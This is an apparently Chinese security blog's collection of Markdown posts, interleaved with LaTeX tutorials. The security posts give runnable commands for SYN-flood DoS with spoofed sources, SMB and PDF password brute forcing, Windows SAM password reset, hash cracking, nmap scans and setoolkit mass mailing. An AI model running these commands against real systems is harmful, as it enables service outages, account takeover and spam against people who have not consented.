[使用WPScan破解wordpress站点密码](http://blog.topspeedsnail.com/archives/4228) -------------------------------------------------------------------------------- /_posts/2016-5-13-send-mess-email-setoolkit.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 群发邮件 (setoolkit) 4 | --- 5 | 6 | 首先,准备一个要发送的邮箱文件(一行一个邮箱地址)。 7 | 8 | 有很多收集邮箱的工具: 9 | 10 | * [使用Metasploit收集邮箱信息](http://topspeedsnail.com/metasploit-search-email-collector/) 11 | 12 | 示例文件 email.txt: 13 | 14 | ``` 15 | test1@gmail.com 16 | test2@163.com 17 | test3@qq.com 18 | ``` 19 | 20 | 启动Social Engineering Toolkit: 21 | 22 | {% highlight shell %} 23 | # setoolkit 24 | {% endhighlight %} 25 | 26 | ![群发邮件 (setoolkit)]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-14 at 14.40.42.png) 27 | 28 | 选择1,然后选择5: 29 | 30 | ![群发邮件 (setoolkit)]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-14 at 14.44.48.png) 31 | 32 | 选择2,群发。添入email.txt文件路径: 33 | 34 | ![群发邮件 (setoolkit)]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-14 at 14.57.05.png) 35 | 36 | 你现在有两个选择,一个使用gmail发送,一个是使用自己的邮件服务器发送。 37 | 38 | 我使用gmail发送,选择1。 39 | 40 | 填入你的gmail邮箱地址、密码等等信息。然后按照提示输入邮件主题内容等等。 41 | 42 | ![群发邮件 (setoolkit)]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-14 at 15.06.02.png) -------------------------------------------------------------------------------- /_posts/2016-5-25-crack-pdf-password-use-pdfcrack.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用pdfcrack破解PDF密码(Linux) 4 | --- 5 | 6 | pdfcrack是破解PDF保护密码的Linux命令行工具。 7 | 8 | ### 安装pdfcrack 9 | 10 | Debian系列: 11 | 12 | {% highlight shell %} 13 | # apt install pdfcrack 14 | {% endhighlight %} 15 | 16 | ![破解PDF密码]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-26 at 09.09.08.png) 17 | 18 | ### 暴力破解 19 | 20 | {% highlight shell %} 21 | # pdfcrack -f filename.pdf -n 6 -m 8 -c 0123456789 22 | {% endhighlight %} 23 | 24 | 暴力破解密码是漫长单调的过程。 25 | 26 | 上面使用的参数解释: 27 | 28 | * -n:密码最短多少个字符 29 | * -m:密码最长多少个字符 30 | * -c:使用的字符集 31 | 32 | 更多选项,查看帮助: 33 | 34 | {% highlight shell %} 35 | # man pdfcrack 36 | {% endhighlight %} 37 | 38 | 你可以随时使用 Ctrl+c 终止破解,它会保存破解的进度,下次继续在终止的地方执行。 39 | 40 | ![破解PDF密码]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-26 at 09.25.11.png) 41 | 42 | ### 使用密码字典 43 | 44 | {% highlight shell %} 45 | # pdfcrack -f high.pdf -w wordlist.txt 46 | {% endhighlight %} 47 | 48 | ![破解PDF密码]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-26 at 09.30.58.png) -------------------------------------------------------------------------------- /_posts/2016-4-14-hack-brute-force.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 暴力攻击法 4 | --- 5 | 6 | 暴力攻击法(brute force attack)是黑客常用的破解方法。通常用提前定义好的值,使用程序来猜密码;也可以像服务器发送这些值,然后分析回应结果。为了效率考虑,黑客一般使用字典。 7 | 8 | [使用macbook破解WPA/WPA2 wifi密码](http://topspeedsnail.com/macbook-crack-wifi-with-wpa-wpa2/) 9 | 10 | 暴力攻击法通常用来破解密码和发现web应用的隐藏内容或网页。攻击者通常使用GET和POST请求,看一看我的apache访问日志: 11 | 12 | ![apache log]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-14 at 09.48.14.png) 13 | 14 | [wordpress:禁用/关闭XML-RPC](http://blog.topspeedsnail.com/archives/2277) 15 | 16 | ### 示例1 17 | 18 | DirBuster是用Java写的多线程程序,用来暴力列举网站的目录和文件,它也能找到隐藏的网页: 19 | 20 | ![dirbuster]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-14 10-14-33.png) 21 | 22 | 类似的工具还有dirb: 23 | 24 | ![dirb]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-14 10-20-44.png) 25 | 26 | ### 示例2 27 | 28 | 暴力破解网站的用户密码:[使用WPScan破解wordpress站点密码](http://blog.topspeedsnail.com/archives/4228) 29 | 30 | [使用Hydra通过ssh破解密码](http://topspeedsnail.com/kydra-crack-ssh-and-avoid-attack/) 31 | 32 | **** 33 | 34 | [黑客常用攻击方式汇总](http://topspeedsnail.com/hacker-attack-method/) -------------------------------------------------------------------------------- /_posts/2016-4-6-kali-linux-npm-scan.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Kali Linux:使用nmap扫描主机 4 | --- 5 | 6 | nmap-Network Mapper,是著名的网络扫描和嗅探工具包。他同样支持Windows和OS X。 7 | 8 | ## 扫描开放端口和判断操作系统类型 9 | 10 | 先让我们ping一段地址范围,找到启动的主机: 11 | 12 | {% highlight shell %} 13 | # nmap -sP 159.203.205.0-100 14 | {% endhighlight %} 15 | 16 | ![kail linux nmap]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-05 22-24-44.png) 17 | 18 | 使用SYN扫描探测操作系统类型: 19 | 20 | {% highlight shell %} 21 | # nmap -sS 159.203.205.61 -O 22 | {% endhighlight %} 23 | 24 | 扫描开放端口: 25 | 26 | {% highlight shell %} 27 | # nmap -sV 159.203.205.61 -A 28 | {% endhighlight %} 29 | 30 | ## 扫描web服务器的网站目录 31 | 32 | {% highlight shell %} 33 | # nmap –script http-enum.nse blog.topspeedsnail.com 34 | {% endhighlight %} 35 | 36 | ![kail linux nmap]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-05 22-41-03.png) 37 | 38 | 上面使用了脚本,存放路径:(/usr/share/nmap/scripts)。目录里有各种各样的脚本。 39 | 40 | ## 扫描主机SSL Heartbleed 漏洞(2012) 41 | 42 | {% highlight shell %} 43 | # nmap -d –script ssl-heartbleed –script-args vulns.showall -sV 192.168.0.106 44 | {% endhighlight %} -------------------------------------------------------------------------------- /_posts/2016-4-20-kali-linux-findmyhash.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Kali Linux - findmyhash命令-破解哈希值 4 | --- 5 | 6 | 哈希密码就是对口令进行一次性的加密处理(哈希算法)而形成的杂乱字符串,人们认为从哈希串中是不可能还原出原口令的。 7 | 8 | 'test'使用md5哈希加密后->'098f6bcd4621d373cade4e832627b4f6' 9 | 10 | ![findmyhash]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-21 at 12.13.31.png) 11 | 12 | 所谓破解要么使用字典攻击法,要么采用穷举法,这两种方法都要靠运气。 13 | 14 | * [Kali Linux:使用John the Ripper破解密码](http://topspeedsnail.com/John-the-Ripper-learn/) 15 | 16 | findmyhash另辟蹊径,它借助在线破解哈希的网站,可以在极短的时间内得到密码。当然,它也不能做到100%破解。 17 | 18 | 直接执行findmyhash,查看帮助信息: 19 | 20 | {% highlight shell %} 21 | # findmyhash 22 | {% endhighlight %} 23 | 24 | ![findmyhash]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-21 at 12.41.28.png) 25 | 26 | 如破解上面的MD5哈希串'098f6bcd4621d373cade4e832627b4f6': 27 | 28 | * [判断hash值的加密类型](http://topspeedsnail.com/identifier-hash-type/) 29 | 30 | {% highlight shell %} 31 | # findmyhash MD5 -h 098f6bcd4621d373cade4e832627b4f6 32 | {% endhighlight %} 33 | 34 | ![findmyhash]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-21 09-13-40.png) 35 | 36 | 如果findmyhash破解不了,可以使用hashcat暴力破解。 -------------------------------------------------------------------------------- /_posts/2016-5-18-antivirus-software-working.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 关于杀毒软件 4 | --- 5 | 6 | 在Windows系统中最重要最基本的一个软件就是杀毒软件,它可以保护你远离恶意软件。 7 | 8 | > 关于天朝的免费杀毒软件:“开机看到电脑已经安装xx杀毒,已经不是第一次了。从没见过这么恶心的软件” 9 | 10 | 现在每天都有新的病毒出现,而这些病毒大多数是利益驱动-盗取个人信息、敲诈等等。例如,攻击者加密你电脑中重要的文件,然后要求你付款购买密码,What an asshole! 11 | 12 | ### 恶意软件的主要传播方式: 13 | 14 | * 被感染的网站 15 | * 邮件 16 | * 在线下载文件 17 | 18 | 大多数中毒都是因为用户自己的操作:打开恶意邮件附件,从网上下载文件。 19 | 20 | # 杀毒软件扫描病毒的方式 21 | 22 | 杀毒软件一般使用三种方式扫描病毒:全盘扫描、快速扫描和实时扫描。 23 | 24 | ### 全盘扫描 25 | 26 | 全盘扫描扫描整个硬盘和系统内存,由于现在的系统文件特别多,所以全盘扫描需要很长时间并占用大量系统资源。 27 | 28 | ### 快速扫描 29 | 30 | 快速扫描只扫描启动项、系统内存和启动扇区,有些杀毒软件还会扫描流行病毒所在的目录。快速扫描用时短,你可以在任何时候执行这个操作。 31 | 32 | ### 实时扫描 33 | 34 | 实时扫描又叫实时保护,是杀毒软件最重要的扫描机制。每当有软件运行,文件打开/下载,杀毒软件都会扫描这些文件。 35 | 36 | 实时扫描最大的优势是它可以检测到应用程序中的安全隐患。 37 | 38 | # 杀毒软件检测病毒的方式 39 | 40 | ### 使用病毒库 41 | 42 | 病毒库中包含了很多病毒的定义,也可以说是病毒的指纹。通过和你系统中的文件做对比,来判断某个文件是不是病毒。 43 | 44 | 因为每天都出现新的病毒,所以病毒库一天可能更新好几次。 45 | 46 | ### 启发式检测 47 | 48 | 启发式检测是为了对付病毒的变种,也是为了弥补病毒库的滞后。它根据已知的病毒指纹检测病毒的变种。 49 | 50 | 启发式检测并不能保证100%可靠,有可能出现误报。有些杀毒软件认为一个文件是病毒,有些杀毒软件则认为不是。 51 | 52 | **** 53 | 54 | 国际知名杀毒软件:Bitdefender、ESET、诺顿、卡巴斯基、F-Secure。 -------------------------------------------------------------------------------- /_posts/2016-5-11-user-nping-hping3-dos.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用hping3/nping施行DoS攻击 4 | --- 5 | 6 | Wiki关于DoS攻击的解释:[Denial of Service Attack](https://zh.wikipedia.org/wiki/阻斷服務攻擊) 7 | 8 | DDoS攻击是常见的攻击方式,每小时大约发生28次。提供在世界范围内的DDoS实时攻击分布图: 9 | 10 | ![DoS攻击]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-10 at 19.08.30.png) 11 | 12 | 从DDoS攻击的地图上就可以看出国际形势;例如,到9月18号可以看到日本-中国的攻击;川普宣布建墙之后,可以看到墨西哥-美国的攻击。 13 | 14 | 使用hping3进行DoS攻击: 15 | 16 | {% highlight shell %} 17 | # hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source testsite.com 18 | {% endhighlight %} 19 | 20 | * -c:发送数据包的个数 21 | * -d:每个数据包的大小 22 | * -S:发送SYN数据包 23 | * -w:TCP window大小 24 | * -p:目标端口,你可以指定任意端口 25 | * --flood:尽可能快的发送数据包 26 | * --rand-source:使用随机的IP地址,目标机器看到一堆ip,不能定位你的实际IP;也可以使用-a或–spoof隐藏主机名 27 | 28 | 简单的SYN洪水攻击: 29 | 30 | {% highlight shell %} 31 | # hping3 -S --flood -V testsite.com 32 | {% endhighlight %} 33 | 34 | TCP连接攻击: 35 | 36 | {% highlight shell %} 37 | # nping --tcp-connect -rate=90000 -c 900000 -q testsite.com 38 | {% endhighlight %} 39 | 40 | *** 41 | 42 | 关于这两个工具的更多信息: 43 | 44 | {% highlight shell %} 45 | # man hping3 46 | # man nping 47 | {% endhighlight %} -------------------------------------------------------------------------------- /_posts/2016-3-30-g-latex-content-table.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: LaTeX简要教程7:生成目录 4 | --- 5 | 6 | LaTeX提供了自动生成目录的命令,非常简单直接。 7 | 8 | LaTeX使用section、subsection等命令创建标题/段落,目录根据这些标题生成。 9 | 10 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-30 at 10.04.08.png) 11 | 12 | 简单例子: 13 | 14 | {% highlight tex %} 15 | \documentclass{article} 16 | 17 | \begin{document} 18 | 19 | \tableofcontents 20 | \newpage 21 | 22 | \section{First Section} 23 | 24 | some text 25 | 26 | \subsection{First Sub Section} 27 | 28 | some text 29 | 30 | \end{document} 31 | {% endhighlight %} 32 | 33 | 编译.tex文件两次,你会得到如下目录: 34 | 35 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-30 at 10.22.44.png) 36 | 37 | 同样可以为表格和图像生成目录列表;使用\listoffigures和\listoftables命令: 38 | 39 | {% highlight tex %} 40 | \begin{figure} 41 | %... 42 | \caption{picture} 43 | %... 44 | \end{figure} 45 | 46 | \begin{table} 47 | %... 48 | \caption{table} 49 | %... 50 | \end{table} 51 | ... 52 | \begin{appendix} 53 | %... 54 | \listoffigures 55 | \listoftables 56 | %... 57 | \end{appendix} 58 | {% endhighlight %} 59 | 60 | 总结: 61 | 62 | * 使用\tableofcontents命令生成目录 63 | * 需要编译.tex文件两次 64 | * 使用\listoffigures和\listoftables命令为表格和图像生成目录 -------------------------------------------------------------------------------- /_posts/2016-4-30-steghide-hide-secret-message.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Steghide - 隐藏秘密信息 4 | --- 5 | 6 | > Steghide is a steganography program that is able to hide data in various kinds of image- and audio-files. The color-respectivly sample-fre‐quencies are not changed thus making the embedding resistant against first-order statistical tests. 7 | 8 | Steghide是数据隐藏工具,通过此工具你可以轻松的将文件隐藏到一个图片/音频中。一旦文件被隐藏到图片中,那么图片看起来依然就是图片,可以正常使用图片浏览工具打开查看图片,唯一的区别是它里面包含着被隐藏的文件。这样做的好处是便于传播或发送一些私密的文件,防止被人截取。 9 | 10 | Steghide可以把信息隐藏在AU, BMP, JPEG 或 WAV格式的文件中。 11 | 12 | ## 安装Steghide 13 | 14 | {% highlight shell %} 15 | # apt-get install steghide 16 | {% endhighlight %} 17 | 18 | ## 以一个文本文件为例 19 | 20 | 创建一个文本文件,随便写入点东西: 21 | 22 | {% highlight shell %} 23 | # vim my_secret.txt 24 | {% endhighlight %} 25 | 26 | ![Steghide]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-30 at 09.31.12.png) 27 | 28 | 我要把my_secret.txt隐藏到图片中: 29 | 30 | {% highlight shell %} 31 | # steghide embed -ef my_secret.txt -cf normal_pic.jpg 32 | {% endhighlight %} 33 | 34 | 设置密码; 35 | 36 | 下图中包含了隐藏文件(和原始图片相比文件变大了): 37 | 38 | ![Steghide]({{ site.baseurl }}/images/2016/4/normal_pic.jpg) 39 | 40 | 获得隐藏文件: 41 | 42 | {% highlight shell %} 43 | # steghide extract –sf normal_pic.jpg 44 | {% endhighlight %} -------------------------------------------------------------------------------- /_posts/2016-4-14-hack-windows-passwd.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用Kali Linux重置Windows密码-chntpw 4 | --- 5 | 6 | 首先制作一个Kali Linux启动U盘: 7 | 8 | [使用dd命令制作USB启动盘](http://blog.topspeedsnail.com/archives/4042) 9 | 10 | 在要破解密码的电脑上插入U盘,启动Kali Linux,进入Live模式。 11 | 12 | 我安装了Windows 8.1和Kali Linux双系统,我就在Kali Linux上破解Windows密码。 13 | 14 | 打开终端命令行,导航到Windows保存密码的目录:Windows/System32/config,几乎所有的Windows版本都把密码保存在sam文件中。在Kali linux上挂载的路径为:/media/hda1/Windows/System32/config: 15 | 16 | ![sam]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-14 16-05-17.png) 17 | 18 | 用户的密码就保存在这里文件里。 19 | 20 | Kali Linux上有一个叫chntpw的工具: 21 | 22 | > change password of a user in a Windows SAM file, or invoke registry editor. Should handle both 32 and 64 bit windows and all version from NT3.x to Win8.1 23 | 24 | 使用如下命令查看Windows系统中所有的用户: 25 | 26 | {% highlight shell %} 27 | # chntpw -l sam 28 | {% endhighlight %} 29 | 30 | ![sam]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-14 16-15-35.png) 31 | 32 | 上面命令列出了系统中的用户,假设要修改用户tian的密码: 33 | 34 | {% highlight shell %} 35 | # chntpw -u "tian" sam 36 | {% endhighlight %} 37 | 38 | ![sam]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-14 16-19-58.png) 39 | 40 | 我们有好几个选项,你可以清空密码,提升用户权限等等。这个工具的旧版本有更改密码一项,貌似是因为在有些系统上不起作用,所有去掉了这个功能。 -------------------------------------------------------------------------------- /_posts/2016-4-19-kali-linux-acccheck-crack-windows-passwd-smb.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Kali Linux使用acccheck破解Windows用户密码(SMB协议) 4 | --- 5 | 6 | acccheck是设计用来破解使用SMB协议的Windows用户密码的。 7 | 8 | > SMB是一种网络通信协议,使用SMB协议可以实现不同类型设备之间数据传递。例如,文件、打印机共享也是基于这个协议。 9 | 10 | acccheck就是使用perl封装了smbclient命令; 11 | 12 | 它使用暴力破解的方式试出Windows用户密码。 13 | 14 | ****** 15 | 16 | ### 一个简单的例子: 17 | 18 | * 打开共享的Windows一台;IP,192.168.0.106: 19 | 20 | ![acccheck]({{ site.baseurl }}/images/2016/4/Screenshot-20162018.PNG) 21 | 22 | * Kali Linux: 23 | 24 | ![acccheck]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-20 18-34-08.png) 25 | 26 | 尝试使用Administrator,空密码: 27 | 28 | {% highlight shell %} 29 | # acccheck -t 192.168.0.106 30 | {% endhighlight %} 31 | 32 | 尝试使用Administrator,密码字典: 33 | 34 | {% highlight shell %} 35 | # acccheck -t 192.168.0.106 -P password.txt 36 | {% endhighlight %} 37 | 38 | 尝试使用用户文件,密码字典: 39 | 40 | {% highlight shell %} 41 | # acccheck -t 192.168.0.106 -U user.txt -P password.txt 42 | {% endhighlight %} 43 | 44 | 使用字典破解一个用户: 45 | 46 | {% highlight shell %} 47 | # acccheck -t 192.168.0.106 -u tian -P dic.txt 48 | {% endhighlight %} 49 | 50 | 结果保存在cracked文件中: 51 | 52 | ![acccheck]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-20 19-07-34.png) 53 | -------------------------------------------------------------------------------- /_posts/2016-3-30-f-latex-add-picture.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: LaTeX简要教程6:添加图像/图片 4 | --- 5 | 6 | 这篇教程教你怎么使用LaTeX在文档中嵌入图像。需要使用graphicx包。 7 | 8 | 例子: 9 | 10 | {% highlight tex %} 11 | \documentclass{article} 12 | 13 | \usepackage{graphicx} 14 | 15 | \begin{document} 16 | 17 | \begin{figure} 18 | \includegraphics[width=\linewidth]{dirty.jpg} 19 | \caption{something beauty.} 20 | \label{fig:dirty} 21 | \end{figure} 22 | 23 | Picture \ref{fig:dirty} is shot in north 24 | 25 | \end{document} 26 | {% endhighlight %} 27 | 28 | _注意:替换图片文件路径。我把图片放到了.tex文件所在目录。_ 29 | 30 | 生成的pdf如下图: 31 | 32 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-30 at 09.28.39.png) 33 | 34 | figure环境会处理图片在文档中的位置和数字标识。导入图像,使用**\includegraphics**命令,参数为图像文件的路径;还有一个参数是 `width=\linewidth` ,指定把图像缩放以适应文档的宽度。 35 | 36 | \caption命令设置图像下的标题。\label在文档中不可见的,文档中其他地方可以通过这个引用。 37 | 38 | ### 强制图像在特定位置显示 39 | 40 | 在以后你会注意到,在代码中添加图像的位置和生成的图像位置不一定对应。如果你的文档包含大量文本,LaTeX也许会把图像放到下一页,或其他有充足空间的地方。可以通过如下代码强制图像在特定位置显示: 41 | 42 | {% highlight tex %} 43 | \begin{figure}[h!] 44 | 。。。 45 | \end{figure} 46 | {% endhighlight %} 47 | 48 | \begin后的**h!**代表在文档当前位置显示,可能的值如下: 49 | 50 | * h(here): 51 | * t(top):页头 52 | * b(bottom):页底 53 | * p(page): 54 | * !(override) 55 | 56 | 总结: 57 | 58 | * 使用graphicx包和figure环境嵌入图像 59 | * 图像会自动编号 60 | * 添加h!]设置图像位置 -------------------------------------------------------------------------------- /_posts/2016-5-2-arp-scan-find-network-devices.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: arp-scan 发现本地网络中的隐藏设备 4 | --- 5 | 6 | arp-scan是一个用来进行系统发现的命令行工具。它可以构建并发送ARP请求到指定的IP地址,并且显示返回的任何响应。 7 | 8 | > ARP协议被设计成允许被用于任何链路层和网络层协议。然而在实际中它仅用于以太网(包括802.11无线)和IPv4;IPv6使用NDP(邻居发现协议)来代替,这是一种不同的协议。ARP是一个不可路由的协议,因此只能在同一个以太网网络上的系统之间使用。 9 | 10 | arp-scan可以显示本地网络中的所有连接的设备,即使这些设备有防火墙。设备可以[屏蔽ping](http://blog.topspeedsnail.com/archives/4613),但是并不能屏蔽ARP数据包。 11 | 12 | Kali Linux默认安装了arp-scan工具,如果你使用Ubuntu,安装命令: 13 | 14 | {% highlight shell %} 15 | $ sudo apt-get install arp-scan 16 | {% endhighlight %} 17 | 18 | 使用: 19 | 20 | {% highlight shell %} 21 | # arp-scan --interface=wlan0 --localnet 22 | {% endhighlight %} 23 | 24 | * wlan0是网卡接口,你也许会使用eth0(使用ifconfig命令查看)。 25 | * localnet指定扫描本地网络 26 | 27 | ![arp-scan]({{ site.baseurl }}/images/2016/5/Screenshot from 2016-05-02 09-16-57.png) 28 | 29 | 从上图你可以看到我的网络是192.168.0/24,再次扫描: 30 | 31 | {% highlight shell %} 32 | # arp-scan --interface=wlan0 192.168.0/24 33 | {% endhighlight %} 34 | 35 | ![arp-scan]({{ site.baseurl }}/images/2016/5/Screenshot from 2016-05-02 09-16-08.png) 36 | 37 | arp-scan是很简单的工具,但是很强大; 38 | 39 | 理解arp是[执行arp欺骗攻击](http://topspeedsnail.com/kali-linux-preform-man-in-middle-attack/)的基础。 40 | 41 | arp-scan帮助: 42 | 43 | {% highlight shell %} 44 | # arp-scan --help 45 | {% endhighlight %} -------------------------------------------------------------------------------- /_posts/2016-5-3-BlackArch-linux-penetration-testing.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 安装BlackArch Linux 4 | --- 5 | 6 | [BlackArch Linux](http://www.blackarch.org)是一款基于Arch Linux的发行版,主要面向渗透测试人员和安全研究者群体。2016.04.28,BlackArch Linux新版本发布,此版本为白帽子和安全研究人员提供了大约1400款渗透测试工具。 7 | 8 | ### 下载BlackArch Linux ISO镜像 9 | 10 | 下载它的64位ISO镜像:http://www.mirrorservice.org/sites/blackarch.org/blackarch/iso/blackarchlinux-live-2016.04.28-x86_64.iso;幸亏有天朝镜像: 11 | 12 | {% highlight shell %} 13 | $ curl -O https://mirrors.ustc.edu.cn/blackarch/iso/blackarchlinux-live-2016.04.28-x86_64.iso 14 | {% endhighlight %} 15 | 16 | ### 制作启动U盘: 17 | 18 | * [使用dd命令制作USB启动盘](http://blog.topspeedsnail.com/archives/4042) 19 | 20 | ### 从U盘启动,开始安装 21 | 22 | ![BlackArch Linux]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-04 at 14.21.01.png) 23 | 24 | BlackArch Linux的默认登录用户root,密码blackarch。 25 | 26 | 登录BlackArch,进入桌面环境(桌面环境非常简洁): 27 | 28 | ![BlackArch Linux]({{ site.baseurl }}/images/2016/5/VirtualBox_BlackArch_04_05_2016_14_42_11.png) 29 | 30 | 连接网络,右键选择Network>wicd-gtk: 31 | 32 | ![BlackArch Linux]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-04 at 14.44.10.png) 33 | 34 | 连接之后,打开终端;运行安装脚本,按照提示一步一步安装: 35 | 36 | {% highlight shell %} 37 | # blackarch-install 38 | {% endhighlight %} 39 | 40 | ![BlackArch Linux]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-04 at 14.52.43.png) -------------------------------------------------------------------------------- /_posts/2016-3-30-h-latex-add-bibliography.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: LaTeX简要教程8:添加表格 4 | --- 5 | 6 | 有时候,需要在文档中插入表格。LaTeX提供了创建表格的环境:table和tabular。 7 | 8 | 示例代码: 9 | 10 | {% highlight tex %} 11 | \documentclass{article} 12 | 13 | \begin{document} 14 | 15 | \begin{table}[h!] 16 | \centering 17 | \caption{Some Table} 18 | \label{tab:table1} 19 | \begin{tabular}{l|c|r} 20 | 1 & 2 & 3\\ 21 | \hline 22 | a & b & c\\ 23 | \end{tabular} 24 | \end{table} 25 | 26 | \end{document} 27 | {% endhighlight %} 28 | 29 | 生成的pdf文档: 30 | 31 | ![Latex]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-02 at 16.43.55.png) 32 | 33 | ### 代码解释: 34 | 35 | &符做为列的分割符;\\\\做为行的分割符;\\begin\{tabular\}\{l\|c\|r\}中的'\|'代表竖线,l,c,r分别代表表格中的文本左对齐、居中对齐、右对齐;\\hline代表横线;\\caption和 \\label是标题和标签。 36 | 37 | 示例代码(带列标题): 38 | 39 | {% highlight tex %} 40 | \documentclass{article} 41 | 42 | \usepackage{booktabs} 43 | 44 | \begin{document} 45 | 46 | \begin{table}[h!] 47 | \centering 48 | \caption{Some Table.} 49 | \label{tab:table1} 50 | \begin{tabular}{ccc} 51 | \toprule 52 | col1 & col2 & col3\\ 53 | \midrule 54 | ddd & eee & fff\\ 55 | ggg & hhh & iii\\ 56 | jjj & hhh & mmm\\ 57 | \bottomrule 58 | \end{tabular} 59 | \end{table} 60 | 61 | \end{document} 62 | {% endhighlight %} 63 | 64 | 生成的pdf文档: 65 | 66 | ![Latex]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-02 at 17.22.16.png) 67 | 68 | 像上面那样手动创建表格有个缺点。如果表格较小,完全可以手写;但是当表格较大时,手动书写费时费力。你可以使用一个叫pgfplotstable的包,它可以从csv生成表格。 -------------------------------------------------------------------------------- /_posts/2016-5-12-identifier-hash-type.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 判断hash值的加密类型 4 | --- 5 | 6 | hash-identifier不是hash破解工具,而是用来判断hash值所使用的加密方式。 7 | 8 | 例如你要使用hashcat破解一个hash串,在破解之前你要知道知道hash串使用的加密算法。 9 | 10 | hash-identifier支持的hash算法: 11 | 12 | ``` 13 | ADLER-32 14 | CRC-32 15 | CRC-32B 16 | CRC-16 17 | CRC-16-CCITT 18 | DES(Unix) 19 | FCS-16 20 | GHash-32-3 21 | GHash-32-5 22 | GOST R 34.11-94 23 | Haval-160 24 | Haval-192 110080 ,Haval-224 114080 ,Haval-256 25 | Lineage II C4 26 | Domain Cached Credentials 27 | XOR-32 28 | MD5(Half) 29 | MD5(Middle) 30 | MySQL 31 | MD5(phpBB3) 32 | MD5(Unix) 33 | MD5(WordPress) 34 | MD5(APR) 35 | Haval-128 36 | MD2 37 | MD4 38 | MD5 39 | MD5(HMAC(WordPress)) 40 | NTLM 41 | RAdmin v2.x 42 | RipeMD-128 43 | SNEFRU-128 44 | Tiger-128 45 | MySQL 46 | MySQL5 – SHA-1(SHA-1($pass)) 47 | MySQL 160bit – SHA-1(SHA-1($pass)) 48 | RipeMD-160 49 | SHA-1 50 | SHA-1(MaNGOS) 51 | Tiger-160 52 | Tiger-192 53 | md5($pass.$salt) – Joomla 54 | SHA-1(Django) 55 | SHA-224 56 | RipeMD-256 57 | SNEFRU-256 58 | md5($pass.$salt) – Joomla 59 | SAM – (LM_hash:NT_hash) 60 | SHA-256(Django) 61 | RipeMD-320 62 | SHA-384 63 | SHA-256 64 | SHA-384(Django) 65 | SHA-512 66 | Whirlpool 67 | ``` 68 | 69 | Kali Linux默认安装了hash-identifier,如果你使用的系统没有这个工具,下载地址: 70 | 71 | 使用示例: 72 | 73 | 判断hash串 098f6bcd4621d373cade4e832627b4f6 使用的加密算法。 74 | 75 | ![判断hash值的加密类型]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-12 at 10.00.11.png) 76 | 77 | 上面的hash串最有可能使用的MD5算法。没错,上面的hash串就是使用 md5sum 生成的。 78 | 79 | 注意:这个工具并不能100%判断正确。 -------------------------------------------------------------------------------- /_posts/2016-3-27-d-latex-package-intro.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: LaTeX简要教程4:包(package)-添加更多功能 4 | --- 5 | 6 | LaTeX默认提供了很多命令,但是有时并不能满足需要,这时就要引入包里面的功能。下面使用equation、amsmath包做例子,它们都可以实现基本的数学公式排版。 7 | 8 | 使用**\usepackage**命令导入包,注意这个命令使用的位置: 9 | 10 | {% highlight tex %} 11 | \documentclass{article} 12 | 13 | \usepackage{Package Name} 14 | 15 | \begin{document} 16 | ... 17 | ... 18 | \end{document} 19 | {% endhighlight %} 20 | 21 | ### 怎么安装包 22 | 23 | 如果你使用的是Linux,那么大多数包已经默认安装了。可以执行如下命令安装可用的所有LaTeX包(Ubuntu): 24 | 25 | {% highlight shell %} 26 | $ sudo apt-get install texlive-full 27 | {% endhighlight %} 28 | 29 | 如果你使用的是MiKTeX(Windows),它会下载你引入的包。 30 | 31 | ### 使用包 32 | 33 | LaTeX有很多很多包,提供各种各样的功能。我会介绍一些常用的包。 34 | 35 | LaTeX提供了一个叫equation的“环境”,它可以实现数学公式排版。在begin{equation}和\end{equation}之间的代码会使用"数学模式",例如: 36 | 37 | {% highlight tex %} 38 | \documentclass{article} 39 | 40 | \begin{document} 41 | 42 | 